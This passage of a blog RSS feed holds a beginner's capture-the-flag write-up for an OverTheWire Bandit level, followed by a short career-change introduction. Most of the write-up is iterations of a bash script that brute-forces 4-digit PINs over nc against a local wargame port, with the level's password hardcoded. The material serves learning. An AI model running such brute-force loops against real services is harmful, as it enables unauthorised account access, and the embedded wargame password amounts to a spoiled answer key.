&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i+1&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="c"&gt;#Start counting iterations&lt;/span&gt;

&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'"$Passwd" "$Pin"\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;2 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;#Print every 100th attempts pin code&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; i % 100 &lt;span class="o"&gt;==&lt;/span&gt; 0&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Tried "&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;" pins. Current pin: "&lt;/span&gt;&lt;span class="nv"&gt;$PIN&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="k"&gt;fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why did this first attempt not work ??&lt;br&gt;
I looked it up and saw what I was doing wrong. The first and major one was the way I was generating pins and passing them as inputs&lt;br&gt;
My "Pin" variable was generating the entire sequence and saving all the attempts at once. I thought of a way to get one pin at the&lt;br&gt;
time. So, maybe a loop? This will loop through the sequence and capture every pin that is being generated and saving one at the time.&lt;br&gt;
It is like reading numbers from a file. That way I can take one pin at the time, save it inside that variable, test it, if good, then we have found the pin if not then we go back, update the variable with a new pin then do it again&lt;/p&gt;
&lt;h3&gt;
  
  
  To iterate inside the pin generator
&lt;/h3&gt;

&lt;p&gt;seq -f "%04g" 0 9999 | while read -r pin; do... done&lt;/p&gt;
&lt;h4&gt;
  
  
  Ref. Check file test.sh for reference
&lt;/h4&gt;

&lt;p&gt;This will have the sequence generator which will produce the pin and then each pin will be saved inside the pin variable&lt;/p&gt;

&lt;p&gt;==Second:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Let's get this password"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nv"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;
&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30002
&lt;span class="nv"&gt;Passwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"&lt;/span&gt;

&lt;span class="c"&gt;#Get the pin and save one at the time inside a variable&lt;/span&gt;
&lt;span class="nb"&gt;seq&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"%04g"&lt;/span&gt; 0 9999 | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; pin&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;do
&lt;/span&gt;&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;2 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"Wrong"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
       &lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i+1&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="c"&gt;#Start counting iterations&lt;/span&gt;

       &lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;2 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

       &lt;span class="c"&gt;#Print every 5th attempts pin code&lt;/span&gt;
       &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; i % 5 &lt;span class="o"&gt;==&lt;/span&gt; 0&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
               &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Tried "&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;" pins. Current pin: "&lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
       &lt;span class="k"&gt;fi
else
&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"The server response is: "&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;fi

done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  This works but Jesus does it take forever...
&lt;/h4&gt;

&lt;p&gt;I think it is because of the time it takes to reconnect&lt;/p&gt;

&lt;p&gt;===============DEBUG===============================&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Let's get this password"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nv"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;
&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30002
&lt;span class="nv"&gt;Passwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"&lt;/span&gt;
&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; 0000"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;1 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;#Get the pin and save one at the time inside a variable&lt;/span&gt;
&lt;span class="nb"&gt;seq&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"%04g"&lt;/span&gt; 0 9 | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; pin&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;do
if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"Wrong"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
       &lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i+1&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="c"&gt;#Start counting iterations&lt;/span&gt;

       &lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;1 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

       &lt;span class="c"&gt;#Print every 5th attempts pin code&lt;/span&gt;
       &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; i % 5 &lt;span class="o"&gt;==&lt;/span&gt; 0&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
               &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Tried "&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;" pins. Current pin: "&lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
       &lt;span class="k"&gt;fi
else
&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"The server response is: "&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;fi

done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;==============================================&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Let's get this password"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nv"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;
&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30002
&lt;span class="nv"&gt;Passwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"&lt;/span&gt;
&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; 0000"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;1 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;#Get the pin and save one at the time inside a variable&lt;/span&gt;
&lt;span class="nb"&gt;seq&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"%04g"&lt;/span&gt; 0 9 | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; pin&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;do
if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"Wrong"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
       &lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i+1&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="c"&gt;#Start counting iterations&lt;/span&gt;

       &lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;1 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;rc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"rc=&lt;/span&gt;&lt;span class="nv"&gt;$rc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
       &lt;span class="c"&gt;#Print every 5th attempts pin code&lt;/span&gt;
       &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; i % 5 &lt;span class="o"&gt;==&lt;/span&gt; 0&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
               &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Tried "&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;" pins. Current pin: "&lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
       &lt;span class="k"&gt;fi
else
&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"The server response is: "&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;fi

done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;=========================================&lt;br&gt;
======Final attemp:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Let's get this password"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nv"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;
&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30002
&lt;span class="nv"&gt;Passwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"&lt;/span&gt;
&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; 0000"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | nc &lt;span class="nt"&gt;-q&lt;/span&gt; 0 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;#Get the pin and save one at the time inside a variable&lt;/span&gt;
&lt;span class="nb"&gt;seq&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"%04g"&lt;/span&gt; 0 9999 | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; pin&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;do
        if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"Wrong"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then

                &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"The server response is: "&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
                &lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;else
                &lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i+1&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="c"&gt;#Start counting iterations&lt;/span&gt;

                &lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | nc &lt;span class="nt"&gt;-q&lt;/span&gt; 0 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
                &lt;span class="c"&gt;#Print every 100th attempts pin code&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; i % 100 &lt;span class="o"&gt;==&lt;/span&gt; 0&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
                        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Tried "&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;" pins. Current pin: "&lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;
                &lt;span class="k"&gt;fi
        fi

done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This one works...&lt;/p&gt;

&lt;p&gt;I do comment a lot when I am coding because my brain cannot remember what it is doing as soon as I blink so it helps me even if sometimes it is messy... haha&lt;/p&gt;

&lt;p&gt;Hope you enjoy this ride&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>linux</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Hi... Introducing myself</title>
      <dc:creator>Zak M</dc:creator>
      <pubDate>Wed, 04 Feb 2026 06:38:56 +0000</pubDate>
      <link>https://forem.com/z_m_570bc25c2745/hi-introducing-myself-4mcb</link>
      <guid>https://forem.com/z_m_570bc25c2745/hi-introducing-myself-4mcb</guid>
      <description>&lt;p&gt;Hi, my name is Ezach, but I go by Zak. I will get better at this so I will not write too much before I look at this post a couple of years later, and just die inside. &lt;br&gt;
I am switching career and teaching myself to become a cloud engineer. I have been consistent on my own and I needed that validation for myself before I start putting stuffs out there. But now, I think I am ready to learn more. This journey has been very exciting for me and I think that is why I have been a bit more consistent by myself, no pressure or running away when things got hard. I started with Linux and I am glad I did because I learned it with Bandit Game from OverTheWire and it was a journey. I loved it, and towards the end things got really really exciting that a lot of obstacles became a reason for me to push harder. Anyways, my point is, I am here now, my name and picture is out there now, so please advice and feedback are more than welcome because that is probably the main reason for me to be here. Now I’m continuing the journey through systems, Python, and cloud engineering. I’ll mainly be sharing post-mortems, how I reason through problems, what breaks, what surprises me, and how my understanding evolves. If you are on a similar path or have walked it already, I'd love and appreciate learning from you.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>career</category>
      <category>cloud</category>
      <category>codenewbie</category>
    </item>
  </channel>
</rss>
